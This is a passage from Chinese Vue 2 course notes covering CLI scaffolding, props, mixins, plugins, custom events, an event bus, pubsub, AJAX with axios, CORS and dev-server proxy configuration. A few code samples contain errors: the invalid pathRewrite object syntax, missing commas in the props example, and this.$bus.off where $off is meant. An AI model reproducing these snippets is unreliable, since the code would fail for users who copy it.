> Default ([Vue 2] babel, eslint)
  Manually select features
```

这里选择 Vue2，

babel：负责 ES6 语法转换成 ES5。

eslint：负责语法检查的。

回车之后，就开始创建项目，创建脚手架环境（内置了 webpack loader），自动生成 HelloWorld 案例。

```
□□□ Successfully created project vue_pro.
□□□ Get started with the following commands:

 $ cd vue_pro
 $ npm run serve
```

④ 第三步：编译 Vue 程序，自动将生成 html css js 放入内置服务器，自动启动服务。

1) dos 命令窗口中切换到项目根：cd vue_pro

2) 执行：npm run serve，这一步会编译 HelloWorld 案例

```
DONE  Compiled successfully in 5422ms


  App running at:
  - Local:   http://localhost:8080/
  - Network: http://192.168.1.104:8080/

  Note that the development build is not optimized.
  To create a production build, run npm run build.
```

ctrl + c 停止服务。

3) 打开浏览器，访问：http://localhost:8080

3.6.3 认识脚手架结构

使用 VSCode 将 vue_pro 项目打开：

```
> node_modules ———— node安装的依赖包（脚手架的依赖）
v public ———————— 公共目录，存放静态不会变的文件，不会被webpack打包处理
  favicon.ico
  index.html
v src ———————————— 源码文件夹，我们就是在这个目录下开发 （该目录名src不能修改）
  v assets ———————— 存放静态资源，例如：图片 声音 视频等，会被webpack打包处理
    logo.png
  v components ———— 存放一些公共的组件
    HelloWorld.vue
  App.vue ———————— 根组件
  main.js ———————— 应用入口（入口文件名可修改，修改只有要在vue.config.js文件中配置）
.gitignore ———————— git忽略文件
babel.config.js ———— babel语法，负责将ES6语法编译为ES5
jsconfig.json ———— 提供大量能使我们快速便捷提高代码效率的方法
package-lock.json —— 用于锁定当前状态下实际安装的各个包的具体来源和版本号，保证其他人在 npm install 项目时大家的依赖能保证一致
package.json ———— 项目基本信息,包依赖配置信息等
README.md ———— 项目说明文件
vue.config.js ———— Vue脚手架的配置文件，可以用来配置入口文件名，是否进行保存时语法检查等
```

package.json：包的说明书（包的名字，包的版本，依赖哪些库）。该文件里有 webpack 的短命令：

serve（启动内置服务器）

build 命令是最后一次的编译，生成 html css js，给后端人员

lint 做语法检查的。

3.6.4 分析 HelloWorld 程序

```html
<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <!-- 让IE浏览器启用最高渲染级别 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- 开启移动端虚拟窗口（视口），可以设置虚拟窗口的宽度、高度、初始化比例。它的存在让手机端浏览器网页可以缩放，移动。 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <!-- 页签图标，BASE_URL是Vue设置的绝对路径。绝对路径比相对路径更加稳定 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <!-- webpack会去package.json中找name作为title -->
    <title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>
    <!-- 如果浏览器不支持JS，则提示以下信息 -->
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled.
    </noscript>
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>
```

可以看到在 index.html 中只有一个容器。没有引入 vue.js，也没有引入 main.js

Vue 脚手架可以自动找到 main.js 文件。（所以 main.js 文件名不要修改，位置也不要随便移动）

```
JS main.js ×
src > JS main.js > ...
// 等同引入vue.js文件
import Vue from 'vue'
// 引入App组件以及该组件下的所有子组件
import App from './App.vue'

// 屏蔽生产提示信息
Vue.config.productionTip = false

// 创建Vue实例
new Vue({
  render: h => h(App),
}).$mount('#app')
```

接下来就是将之前写的程序拷贝到脚手架中，进行测试。

需要拷贝过来的是：App.vue、X.vue、Y.vue、X1.vue、Y1.vue。

main.js 和 index.html 都不需要了，因为脚手架中有。

 Copyright©动力节点

```
src
  assets
  components
    X.vue
    X1.vue
    Y.vue
    Y1.vue
  App.vue
  main.js
```

只需要将 App.vue 中的路径修改一下即可：

```vue
<template>
    <div>
        <h1>App组件</h1>
        <!-- 使用组件 -->
        <X></X>
        <Y></Y>
    </div>
</template>

<script>
    import X from './components/X.vue'
    import Y from './components/Y.vue'
    export default {
        // 注册组件
        components : {X, Y}
    }
</script>
```

打开 VSCode 终端：ctrl + `

在终端中执行：npm run serve

报错了：

```
ERROR in [eslint]
D:\vue_pro\src\components\X.vue
  1:1  error  Component name "X" should always be multi-word  vue/multi-word-component-names

D:\vue_pro\src\components\X1.vue
  1:1  error  Component name "X1" should always be multi-word  vue/multi-word-component-names

D:\vue_pro\src\components\Y.vue
  1:1  error  Component name "Y" should always be multi-word  vue/multi-word-component-names

D:\vue_pro\src\components\Y1.vue
  1:1  error  Component name "Y1" should always be multi-word  vue/multi-word-component-names

✖4 problems (4 errors, 0 warnings)


webpack compiled with 1 error
```

导致这个错误的原因是：组件的名字应该由多单词组成。这是 eslint 进行的 es 语法检测。

解决这个问题有两种方案：

 Copyright©动力节点

第一种：把所有组件的名字修改一下。

第二种：在 vue.config.js 文件中进行脚手架的默认配置。配置如下：

```
vue.config.js
const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  // 保存时是否进行语法检查。true表示检查，false表示不检查。默认值是true。
  lintOnSave : false,
})
```

在终端中 ctrl + c 两次，终止之前的服务，再次运行命令：npm run serve

```
DONE  Compiled successfully in 2028ms

App running at:                    点击它打开网页
- Local:   http://localhost:8080/
- Network: http://192.168.1.104:8080/

Note that the development build is not optimized.
To create a production build, run npm run build.
```

3.6.5 脚手架默认配置

脚手架默认配置在 vue.config.js 文件中进行。

main.js、index.html 等都是可以配置的。

配置项可以参考 Vue CLI 官网手册，如下：

例如配置这两项：

第一个：保存时不检查语法 lintOnSave : false

第二个：配置入口

```
vue.config.js
const { defineConfig } = require('@vue/cli-service')
module.exports = defineConfig({
  transpileDependencies: true,
  // 保存时是否进行语法检查。true表示检查，false表示不检查。默认值是true。
  lintOnSave : false,
  // 配置入口
  pages: {
    index: {
      entry: 'src/main.js',
    }
  }
})
```

3.6.6 解释 main.js 中的 render 函数

将 render 函数更换为：template 配置项，你会发现它是报错的。说明引入的 Vue 无法进行模板编译。

原因：Vue 脚手架默认引入的是精简版的 Vue，这个精简版的 Vue 缺失模板编译器。

 Copyright©动力节点

实际引入的 vue.js 文件是：dist/vue.runtime.esm.js（esm 版本是 ES6 模块化版本）

为什么缺失模板编译器？

Vue 包含两部分：一部分是 Vue 的核心，一部分是模板编译器（模板编译器可能占整个 vue.js 文件的一大部分体积）。程序员最终使用 webpack 进行打包的时候，显然 Vue 中的模板编译器就没有存在的必要了。为了缩小体积，所以在 Vue 脚手架中直接引入的就是一个缺失模板编译器的 vue.js。

这样就会导致 template 无法编译（注意：<template>标签可以正常编译[package.json 文件中进行了配置]，说的是 template 配置项无法编译），解决这个问题包括两种方式：

第一种方式：引入一个完整的 vue.js

第二种方式：使用 render 函数

关于 render 函数，完整写法：

```
render(createElement){
  return createElement('div', 'HelloWorld')
}
```

```
render(createElement){
  return createElement(App)
}
```

这个函数被 vue 自动调用，并且传递过来一个参数 createElement。

简写形式可以使用箭头函数：

```
render: h => h(App),
```

3.7 props 配置

使用 props 配置可以接收其他组件传过来的数据，让组件的数据变为动态数据，三种接收方式：

(1) 简单接收

```
props : ['name','age','sex']
```

(2) 接收时添加类型限制

```
props : {
    name : String
    age : Number
    sex : String
}
```

(3) 接收时添加类型限制，必要性限制，默认值

```
props : {
    name : {
        type : Number,
        required : true
    },
    age : {
        type : Number,
        default : 10
    },
    sex : {
        type : String,
        default : '男'
    }
}
```

其他组件怎么把数据传过来？

```
<User name="jack" age="20" sex="男"></User>
```

注意事项：

① 不要乱接收，接收的一定是其它组件提供的。

② props 接收到的数据不能修改。（修改之后会报错，但页面会刷新。）可以找个中间变量来解决。

3.8 从父组件中获取子组件

在组件上使用 ref 属性进行标识：

```
<User ref="userJack"></User>
```

在程序中使用$refs 来获取子组件：

```
this.$refs.userJack
```

访问子组件的属性：

this.$refs.userJack.name

访问子组件的子组件属性：

this.$refs.userJack.$refs.name

ref 也可以使用在普通的 HTML 标签上，这样获取的就是这个 DOM 元素：

<input type="text" ref="username">

this.$refs.username

3.9 mixins 配置（混入）

Vip.vue U

src > components > Vip.vue > Vetur > {} "Vip.vue" > script

```
1   <template>
2     <div>
3       <h1>{{ msg }}</h1>
4       <h3>姓名: {{ msg }}</h3>
5       <h3>年龄: {{ age }}</h3>
6       <button @click="printInfo">输出会员信息</button>
7     </div>
8   </template>
9
10  <script>
11  export default {
12      name : 'Vip',
13      data() {
14          return {
15              msg : '会员信息',
16              name : '张三',
17              age : 20
18          }
19      },
20      methods : {
21          printInfo(){
22              console.log(this.name, ',', this.age)
23          }
24      }
25  }
26  </script>
```

User.vue U ×

src > components > User.vue > Vue Language Features (Volar) > {} script

```vue
<template>
  <div>
    <h1>{{ msg }}</h1>
    <h3>姓名: {{ name }}</h3>
    <h3>年龄: {{ age }}</h3>
    <button @click="printInfo">输出用户信息</button>
  </div>
</template>

<script>
export default {
    name : 'User',
    data() {
        return {
            msg : '用户信息',
            name : '李四',
            age : 20
        }
    },
    methods : {
        printInfo(){
            console.log(this.name, ',', this.age)
        }
    }
}
</script>
```

App.vue M ×

src > App.vue > Vue Language Features (Volar) > {} script > default > components

```vue
<template>
  <div>
    <User></User>
    <Vip></Vip>
  </div>
</template>

<script>
import User from './components/User.vue'
import Vip from './components/Vip.vue'

export default {
  name: 'App',
  components: {
    User, Vip
  }
}
</script>
```

运行效果：

 Copyright©动力节点

可以看到以上 Vip.vue 和 User.vue 代码中都有相同的 methods，这个代码可以复用吗？可以使用 mixins 配置进行混入。实现步骤：

第一步：提取

单独定义一个 mixin.js（一般和 main.js 在同级目录），代码如下：

```
JS mixin.js U ×
src > JS mixin.js > ...
1  export const mix1 = {
2      methods : {
3          printInfo(){
4              console.log(this.name, ',', this.age)
5          }
6      }
7  }
```

第二步：引入并使用

```
10  <script>
11  import {mix1} from '../mixin.js'        引入
12  export default {
13      name : 'Vip',
14      data() {
15          return {
16              msg : '会员信息',
17              name : '张三',
18              age : 20
19          }
20      },
21      mixins : [mix1]                     使用
22  }
23  </script>
```

以上演示的是方法 methods 的混入，实际上混入时没有限制，之前所学的配置项都可以混入。

混入时会产生冲突吗？已经有一个方法 a 了，如果再混入一个 a 方法会怎样？

 Copyright©动力节点

mixin.js U

src > mixin.js > mix2

```
export const mix1 = {
    methods : {
        printInfo(){
            console.log(this.name, ',', this.age)
        }
    }
}

export const mix2 = {
    methods : {
        a(){
            alert('mixin a.')
        }
    }
}
```

User.vue U

src > components > User.vue > Vetur > {} "User.vue" > script > de

```
<template>
  <div>
    <h1>{{ msg }}</h1>
    <h3>姓名: {{ name }}</h3>
    <h3>年龄: {{ age }}</h3>
    <button @click="printInfo">输出用户信息</button>
    <button @click="a">执行a方法</button>
  </div>
</template>

<script>
import {mix1} from '../mixin.js'
import {mix2} from '../mixin.js'
export default {
    name : 'User',
    data() {
        return {
            msg : '用户信息',
            name : '李四',
            age : 20
        }
    },
    methods : {
      a(){
        alert('User中的a方法')
      }
    },
    mixins : [mix1, mix2]
}
</script>
```

通过测试，如果冲突了，会执行组件自身的，不会执行混入的。（这是原则：混入的意思就是不破坏）

但对于生命周期周期钩子函数来说，混入时，会采用叠加方式：

 Copyright©动力节点

```
mixin.js U ×
src > mixin.js > mix3
export const mix1 = {
    methods : {
        printInfo(){
            console.log(this.name, ',', this.age)
        }
    }
}

export const mix2 = {
    methods : {
        a(){
            alert('mixin a.')
        }
    }
}

export const mix3 = {
    mounted() {
        console.log('mixin mounted')
    },
}
```

```
User.vue U ×
src > components > User.vue > Vetur > {} "User.vue" > script >

<script>
import {mix1} from '../mixin.js'
import {mix2} from '../mixin.js'
import {mix3} from '../mixin.js'
export default {
    name : 'User',
    data() {
        return {
            msg : '用户信息',
            name : '李四',
            age : 20
        }
    },
    methods : {
      a(){
        alert('User中的a方法')
      }
    },
    mounted() {
      console.log('User mounted.')
    },
    mixins : [mix1, mix2, mix3]
}
</script>
```

执行结果：

```
元素   控制台   源代码
top ▾   过滤
mixin mounted
User mounted.
>
```

通过测试得知：对于生命周期钩子函数来说，都有的话，采用叠加，先执行混入的，再执行自己的。

以上的混入属于局部混入，只混入到指定的组件当中。

全局混入：

 Copyright©动力节点

```
main.js M ×
src > main.js > ...
import Vue from 'vue'
import App from './App.vue'
// 导入混入
import {mix1, mix2, mix3} from './mixin.js'

Vue.config.productionTip = false

// 全局混入
Vue.mixin(mix1)
Vue.mixin(mix2)
Vue.mixin(mix3)

new Vue({
  render: h => h(App),
}).$mount('#app')
```

执行结果：

```
元素　控制台　源
top ▼　过滤
mixin mounted
User mounted.
2 mixin mounted
mixin mounted
```

一共四个组件，所以输入四次：mixin mounted

3.10 plugins 配置（插件）

给 Vue 做功能增强的。

怎么定义插件？以下是定义插件并暴露插件。插件是一个对象，对象中必须有 install 方法，这个方法会被自动调用。

```
plugins.js U ×
src > plugins.js > ...
const pluginObj = {
    install(Vue, x, y, z){
        console.log(x, y, z)
        // 给Vue原型对象扩展的属性，vm和vc都可以使用
        Vue.prototype.counter = 1000
    }
}
export default pluginObj
```

插件一般都放到一个 plugins.js 文件中。

导入插件并使用插件：

```
JS main.js M ×
src > JS main.js > ...
1   import Vue from 'vue'
2   import App from './App.vue'
3   // 导入混入
4   import {mix1, mix2, mix3} from './mixin.js'
5   // 导入插件
6   import plugins from './plugins'
7
8   Vue.config.productionTip = false
9
10  // 全局混入
11  Vue.mixin(mix1)
12  Vue.mixin(mix2)
13  Vue.mixin(mix3)
14
15  // 使用插件
16  Vue.use(plugins, 100, 200, 300)
17
18  new Vue({
19    render: h => h(App),
20  }).$mount('#app')
21
```

插件对象的 install 方法有两个参数：

第一个参数：Vue 构造函数

第二个参数：插件使用者传递的数据

先学会用插件，后面我们做项目的时候会使用很多插件。到时再体会插件存在的意义。

3.11 局部样式 scoped

默认情况下，在 vue 组件中定义的样式最终会汇总到一块，如果样式名一致，会导致冲突，冲突发生后，以后来加载的组件样式为准。怎么解决这个问题？

```
37  <style scoped>
    1 reference
38  .s {
39    background-color: aquamarine;
40  }
41  </style>
```

另外 vue 组件的 style 样式支持多种样式语言，例如：css、less、sass 等。如何选择使用呢？

```
<style scoped lang="less">
1 reference
.s {
  background-color: blanchedalmond;
  1 reference
  .s1 {
    color: red;
  }
}
</style>
```

使用 less 注意安装 less-loader：npm i less-loader

App 根组件中的样式 style 不建议添加 scoped。

3.12 BugList 案例

1. 先使用静态组件的方式把页面效果实现出来。
   (1) App.vue
   (2) BugHeader.vue
   (3) BugList.vue
   (4) BugItem.vue
   (5) BugFooter.vue
2. 在 BugList.vue 中提供 bugList 数据，实现动态数据展示。
3. 保存 bug：
   (1) 获取用户输入的信息采用双向数据绑定。
      ① 通过 Date.now()获取时间戳的方式来搞定 id。
   (2) 将 BugList.vue 中的 bugList 数据提升到父组件 App.vue 中。
   (3) 父组件向子组件传递，采用 :bugList="bugList"，在子组件当中使用 props 接收。
   (4) 子组件向父组件传递，父组件可以提前定义一个函数，将函数传递给子组件，在子组件中调用这个函数即可。
   (5) 该功能的小问题：
      ① 保存完成后自动清空。
      ② 输入为空时不能保存（可以加 trim 去除空白），并且提示必须输入。
4. 修改 bug 的状态
   (1) 勾选和取消勾选，会触发 click 事件或者 change 事件。
   (2) 事件发生后，获取 bug 的 id，将 id 传递给 App 组件中的回调函数，遍历数组，拿到要修改的 bug 对象，更改 bug 对象的 resolved 属性值。
5. 删除 bug
   (1) 删除时可以调用数组的 filter 方法进行过滤，将过滤之后的新数组赋值给 this.bugList
6. 统计 bug
   (1) 第一种：普通计数器统计。
   (2) 第二种：数组的 reduce 方法完成条件统计。
7. 全选和取消全选
   (1) 全选复选框的状态维护：

① 已解决的数量 === 总数量 时，勾选。
② 全部删除后，应该取消勾选。

(2) 全部删除了可以将 footer 隐藏。v-show

(3) 全选和取消全选

8. 清除已解决

(1) 调用数组的 filter 方法进行过滤，生成新数组，将其赋值给 this.bugList

9. 实现编辑功能

(1) 功能描述

① 鼠标移动到描述信息上之后，光标变成小手。
② 点击描述信息之后，将描述信息放入文本框。并且同时让文本框获得焦点。
③ 用户开始修改描述信息（要注意避免将信息修改为空）
④ 输入修改信息之后，文本框失去焦点，显示修改后的描述信息。

(2) 实现功能的核心技术：

① 给 bug 对象扩展一个具有响应式的 editState 属性，如果是 true 表示处于编辑状态，false 表示处于未编辑状态：this.$set(bug, ‘editState’, true)
② 获得焦点的动作如何完成：
1) 在文本框上添加 ref=”inputDesc”，然后通过 this.$refs.inputDesc 获取到 dom 元素，调用 focus() 让其获取焦点。
2) 以上操作需要在下一次渲染 DOM 完成后执行：nextTick
a. this.$nextTick(function(){this.$refs.inputDesc.focus()})

3.13 localStorage 和 sessionStorage

window.localStorage 浏览器关闭，数据还在。
getItem removeItem setItem clear
JSON.stringify
JSON.parse
存储大小 5mb
Window.sessionStorage 浏览器关闭清空存储。
getItem 的 key 不存在的话返回 null。JSON.parse(null)，结果还是 null。
改造项目。用本地存储来改造。使用监视属性 watch，并且要开启深度监视。

3.14 使用本地存储改造 BugList 案例

3.15 组件自定义事件

click、keydown、keyup，这些事件都是内置事件。
Vue 也支持给组件添加自定义事件。
包括两种方式：

 Copyright©动力节点

第一种方式：直接在组件标签上绑定事件

第二种方式：通过代码来给组件绑定事件

3.15.1 直接在组件标签上绑定事件

<Car v-on:event1="doSome"></Car>

<Car @event1="doSome"></Car>

表示给 Car 这个组件 vc 实例绑定 event1 事件，当 event1 事件发生时，doSome 方法执行。

事件绑定在谁的身上，谁就负责触发这个事件，怎么触发？在 Car 组件中定义 methods：

```
methods : {
    triggerEvent1(){
        // 触发事件并且给事件传数据
        this.$emit('event1', this.name, this.age, this.gender)
    }
}
```

然后，在 Car 的父组件中编写 doSome 方法：

```
methods : {
    doSome(name, age, gender){}
    // 或者可以这样
    doSome(name, ...parameters){} // ...parameters 表示采用一个数组接收参数
}
```

通过这种方式可以轻松完成**子组件向父组件传递数据**。

<Car @event1.once="doSome"></Car> 表示只触发一次。

<Car @click.**native**="doSome"></Car> 使原生事件生效。

3.15.2 通过代码给组件绑定事件

在父组件当中：

<Car ref="car"></Car>

```
mounted(){ // 表示挂载完毕后给组件绑定事件。
    // 这种方式更加灵活。例如：希望 AJAX 请求响应回来数据之后再给组件绑定事件。
    this.$refs.car.$on('event1', this.doSome)
}
```

this.$refs.car.$once('event1', this.doSome) 表示只触发一次。

绑定时要注意：

```
this.$refs.car.$on('event1', function(){
    //这里的 this 是子组件实例（Car 组件实例）
})
this.$refs.car.$on('event1', ()=>{
```

```
        // 这里的 this 是父组件实例（App 组件实例）
    })
    this.doSome 这个回调函数写成普通函数时：函数体中 this 是子组件实例。（Car 组件实例）
    this.doSome 这个回调函数写成箭头函数时：函数体中 this 是父组件实例。（App 组件实例）
```

3.15.3 解绑事件

哪个组件绑定的就找哪个组件解绑：

```
methods : {
    unbinding(){
        this.$off('event1') // 这种方式只能解绑一个事件。
        this.$off(['event1', 'event2']) // 这种方式解绑多个事件。
        this.$off() // 解绑所有事件。
    }
}
```

注意：vm 和 vc 销毁的时候，所有组件以及子组件当中的事件会全部解绑。

3.16 全局事件总线

原理：给项目中所有的组件找一个共享的 vc 对象。把这个共享的对象 vc 叫做全局事件总线。所有的事件都可以绑定到这个共享对象上。所有组件都通过这个全局事件总线对象来传递数据。这种方式可以完美的完成兄弟组件之间传递数据。这样的共享对象必须具备两个特征：

(1) 能够让所有的 vc 共享。

(2) 共享对象上有$on、$off、$emit 等方法。

第一种解决方案：

在 main.js 文件中：

```
// 获取 VueComponent 构造函数
const VueComponentConstructor = Vue.extend({})
// 创建 vc
const vc = new VueComponentConstructor()
// 让所有的 vc 都能够使用这个 vc
Vue.prototype.$bus = vc
```

第二种解决方案：建议的。

在 main.js 文件中：

```
new Vue({
    el : '#app',
    render : h => h(App),
    beforeCreate(){
        Vue.prototype.$bus = this
```

 Copyright©动力节点

```
        }
    })
```

永远需要记住的：A 组件向 B 组件传数据，应该在 B 组件中绑定事件（接）。应该在 A 组件中触发事件（传）。

数据发送方：触发事件

```
    methods : {
        triggerEvent(){
            this.$bus.$emit('eventx', 传数据)
        }
    }
```

数据接收发：绑定事件

```
    mounted(){
        this.$bus.$on('eventx', this.doSome)
    }
```

养成好习惯：组件实例被销毁前，将绑定在$bus 上的事件解绑。

```
    beforeDestroy(){
        this.$bus.off('eventx')
    }
```

3.17 BugList 案例改造

3.17.1 使用组件自定义事件改造 BugList 案例

所有从父向子传递函数的位置，都可以修改为自定义事件方式。
主要改造子向父传数据的功能。

3.17.2 使用全局事件总线改造 BugList 案例

主要改造爷孙之间数据的传递。
自定义事件在 Vue 开发者工具当中是可以在看到的。
组件销毁的时候，记得把全局事件总线对象上绑定的事件解绑。

3.18 消息订阅与发布

使用 pubsub-js 库完成消息订阅与发布。该库可以在任意前端框架中实现消息的订阅与发布。
安装 pubsub-js：npm i pubsub-js
程序中引入 pubsub：import pubsub from ‘pubsub-js’
引入了一个 pubsub 对象，通过调用该对象的 subscribe 进行消息订阅，调用 publish 进行消息发布。
订阅：subscribe

```
mounted(){
    this.pubsubId = pubsub.subscribe('message', (messageName, data) => {
        // 两个参数：第一个是消息的名字。第二个参数是消息发布时传过来的数据。
        // 要使用箭头函数。这样才能保证 this 的使用。
```

```
        })
    }
    beforeDestroy(){
        pubsub.unsubscribe(this.pubsubId )
    }
```

发布：publish

```
    pubsub.publish('message', 'zhangsan', 20)
```

组件间的通信方式总结：

① props：可以完成父向子传数据
② 父向子传一个函数：可以完成子向父传数据
③ 组件自定义事件：可以完成子向父传数据。
④ 全局事件总线
⑤ 消息订阅与发布

3.19 使用消息订阅与发布改造 BugList 案例

组件销毁时，记得取消订阅。

4. Vue 与 AJAX

4.1 回顾发送 AJAX 异步请求的方式

发送 AJAX 异步请求的常见方式包括：

1. 原生方式，使用浏览器内置的 JS 对象 XMLHttpRequest
   (1) const xhr = new XMLHttpRequest()
   (2) xhr.onreadystatechange = function(){}
   (3) xhr.open()
   (4) xhr.send()
2. 原生方式，使用浏览器内置的 JS 函数 fetch
   (1) fetch('url', {method : 'GET'}).then().then()
3. 第三方库方式，JS 库 jQuery（对 XMLHttpRequest 进行的封装）
   (1) $.get()
   (2) $.post()
4. 第三方库方式，基于 Promise 的 HTTP 库：axios （对 XMLHttpRequest 进行的封装）
   (1) axios.get().then()

   axios 是 Vue 官方推荐使用的。

 Copyright©动力节点

4.2 回顾 AJAX 跨域

1. 什么是跨域访问？
   (1) 在 a 页面中想获取 b 页面中的资源，如果 a 页面和 b 页面所处的协议、域名、端口不同（只要有一个不同），所进行的访问行动都是跨域的。
   (2) 哪些跨域行为是允许的？
      ① 直接在浏览器地址栏上输入地址进行访问
      ② 超链接
      ③ <img src="其它网站的图片是允许的">
      ④ <link href="其它网站的 css 文件是允许的">
      ⑤ <script src="其它网站的 js 文件是允许的">
      ⑥ .....
   (3) 哪些跨域行为是不允许的？
      ① AJAX 请求是不允许的
      ② Cookie、localStorage、IndexedDB 等存储性内容是不允许的
      ③ DOM 节点是不允许的
2. AJAX 请求无法跨域访问的原因：同源策略
   (1) 同源策略是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到 XSS、CSRF 等攻击。同源是指"协议+域名+端口"三者相同，即便两个不同的域名指向同一个 ip 地址，也非同源。
   (2) AJAX 请求不允许跨域并不是请求发不出去，请求能发出去，服务端能收到请求并正常返回结果，只是结果被浏览器拦截了。
3. 解决 AJAX 跨域访问的方案包括哪些
   (1) CORS 方案（工作中常用的）
      ① 这种方案主要是后端的一种解决方案，被访问的资源设置响应头，告诉浏览器我这个资源是允许跨域访问的：response.setHeader("Access-Control-Allow-Origin", "http://localhost:8080");
   (2) jsonp 方案（面试常问的）
      ① 采用的是<script src="">不受同源策略的限制来实现的，但只能解决 GET 请求。
   (3) 代理服务器方案（工作中常用的）
      ① Nginx 反向代理
      ② Node 中间件代理
      ③ vue-cli（Vue 脚手架自带的 8080 服务器也可以作为代理服务器，需要通过配置 vue.config.js 来启用这个代理）
   (4) postMesssage
   (5) websocket
   (6) window.name + iframe
   (7) location.hash + iframe
   (8) document.domain + iframe
   (9) .....

 Copyright©动力节点

4. 代理服务器方案的实现原理

同源策略是浏览器需要遵循的标准，而如果是服务器向服务器请求就无需遵循同源策略的。

4.3 演示跨域问题

Vue 脚手架内置服务器的地址：http://localhost:8080

我们可以额外再开启一个其它的服务器，这个服务器随意，例如：node server、Apache 服务器、JBOSS 服务器、WebLogic 服务器、WebSphere 服务器、jetty 服务器、tomcat 服务器.....我这里选择的是基于 Java 语言的一个服务器 Tomcat，这个 web 服务器开启了一个 8000 端口，提供了以下的一个服务，可以帮助我们获取到一个 Bug 列表：http://localhost:8000/bugs/

打开 BugList 案例的代码，在 mounted 钩子函数中发送 ajax 请求，获取 bug 列表。

vue-cli 安装 axios 库：npm i axios。使用时：import 导入 axios

 Copyright©动力节点

```
<script>
    import pubsub from 'pubsub-js'
    import axios from 'axios'
    import BugHeader from './components/BugHeader.vue'
    import BugList from './components/BugList.vue'
    import BugFooter from './components/BugFooter.vue'
    export default {
        name : 'App',
        data() {
            return {
                bugList : []
            }
        },
        mounted() {
            // 发送ajax异步请求
            axios.get('http://localhost:8000/bugs/').then(
                response => {
                    this.bugList = response.data
                },
                error => {
                    console.log(error.message)
                }
            )
```

以上的访问表示：在 8080 服务器中发送 AJAX 请求访问 8000 服务器，必然会出现 AJAX 跨域问题：

```
元素　控制台　源代码　网络　性能　内存　应用　安全　Lighthouse
top ▼　过滤　默认级别 ▼　2 个问题: 1 1
Access to XMLHttpRequest at 'http://localhost:8000/bugs/' from origin 'http://localhost:8080' has been  localhost/:1
blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Network Error                                                                                  App.vue?11c4:35
▸GET http://localhost:8000/bugs/ net::ERR_FAILED 200                                          xhr.js?1a5c:247
>
```

4.4 启用 Vue 脚手架内置服务器 8080 的代理功能

1. 简单开启

vue.config.js 文件中添加如下配置：

```
devServer: {
    proxy: 'http://localhost:8000' // 含义：Vue 脚手架内置的 8080 服务器负责代理访问 8000 服务器
}
```

发送 AJAX 请求时，地址需要修改为如下：

```
axios.get('http://localhost:8080/bugs/').then(
    response => {
        this.bugList = response.data
    },
    error => {
        console.log(error.message)
    }
)
```

原理：访问地址是 http://localhost:8080/bugs，会优先去 8080 服务器上找/bugs 资源，如果没有找到才会走代理。

另外需要注意的是：这种简单配置不支持配置多个代理。

2. 高级开启

支持配置多个代理。

```
devServer: {
  proxy: {
    '/api': {
      target: 'http://localhost:8000',
      pathRewrite:{'^/api', ''},
      ws: true, //  支持 websocket
      changeOrigin: true // true 表示改变起源（让目标服务器不知道真正的起源）
    },
    '/abc': {
      target: 'http://localhost:9000',
      pathRewrite:{'^/abc', ''},
      ws: true, //  默认值 true
      changeOrigin: true //  默认值 true
    }
  }
}
```

4.5 使用 AJAX 改造 BugList 案例

mounted 钩子中发送 ajax 请求即可。

4.6 Vue 插件库 vue-resource 发送 AJAX 请求

1. 安装：npm i vue-resource
2. import vueResource from ‘vue-resource’
3. 使用插件：Vue.use(vueResource)
4. 使用该插件之后，项目中所有的 vm 和 vc 实例上都添加了：$http 属性。
5. 使用办法：
   (1) this.$http.get(‘’).then() 用法和 axios 相同，只不过把 axios 替换成 this.$http

4.7 天气预报

1. 实现效果

 Copyright©动力节点

2. 接口来自：https://openweathermap.org/

3. 开发者进行注册，获取 api key

 Copyright©动力节点

home.openweathermap.org/users/sign_in
OpenWeather
Weather in your city
Guide API Dashboard Marketplace Pricing Maps Our Initiatives Partners Blog For Business Sign In Support
Sign In To Your Account
dujubin@126.com
Remember me
Submit
Not registered? Create an Account.
Lost your password? Click here to recover.

home.openweathermap.org
OpenWeather
Weather in your city
Guide API Dashboard Marketplace Pricing Maps Our Initiatives Partners Blog For Business dujubin Support
My services
My API keys
My payments
My profile
Logout
Notice
Signed in successfully.
We have sent the confirmation link to dujubin@126.com. Please check your email.
New Products Services API keys Billing plans Payments Block logs My orders My profile Ask a question

home.openweathermap.org/api_keys
OpenWeather
Weather in your city
Guide API Dashboard Marketplace Pricing Maps Our Initiatives Partners Blog For Business dujubin Support
We have sent the confirmation link to dujubin@126.com. Please check your email.
New Products Services API keys Billing plans Payments Block logs My orders My profile Ask a question
You can generate as many API keys as needed for your subscription. We accumulate the total load from all of them.
Key
Name
Status
Actions
78b262ed7919f 2bf
Default
Active
Create key
API key name
Generate
api key在注册完成后需要等一小时才能生效

4. 获取当前天气的接口

home.openweathermap.org/api_keys
OpenWeather
Weather in your city
Guide
API
Dashboard
Marketplace
Pricing
Maps
Our Initiatives
Partners
Blog
For Business
dujubin
Support
We have sent the confirmation link to dujubin@126.com. Please check your email.
New Products
Services
API keys
Billing plans
Payments
Block logs
My orders
My profile
Ask a question
You can generate as many API keys as needed for your subscription. We accumulate the total load from all of them.

openweathermap.org/api
OpenWeather
Weather in your city
Guide
API
Dashboard
Marketplace
You can read the How to Start guide and enjoy using our powerfu
Current & Forecast weather data collec
Current Weather Data
API doc
Subscribe
Access current weather data for any location including over 200,000 cities
We collect and process weather data from different sources such as global and local weather models, satellites, radars and a vast network of weather stations
JSON, XML, and HTML formats
Included in both free and paid subscriptions
Hourly Forecast 4
API doc
Subscribe
Hourly forecast is avai
Forecast weather data timestamps
JSON and XML format
Included in the Develo and Enterprise subscri

Call current weather data
How to make an API call
API call
接口地址
https://api.openweathermap.org/data/2.5/weather?lat={lat}&lon={lon}&appid={API key}
纬度
经度
Parameters
lat, lon
required
必须的
Geographical coordinates (latitude, longitude). If you need the geocoder to automatic convert city names and zip-codes to geo coordinates and the other way around, please use our Geocoding API.
获取经度纬度调用另一个接口
appid
required
必须的
Your unique API key (you can always find it on your account page under the "API key" tab)
mode
optional
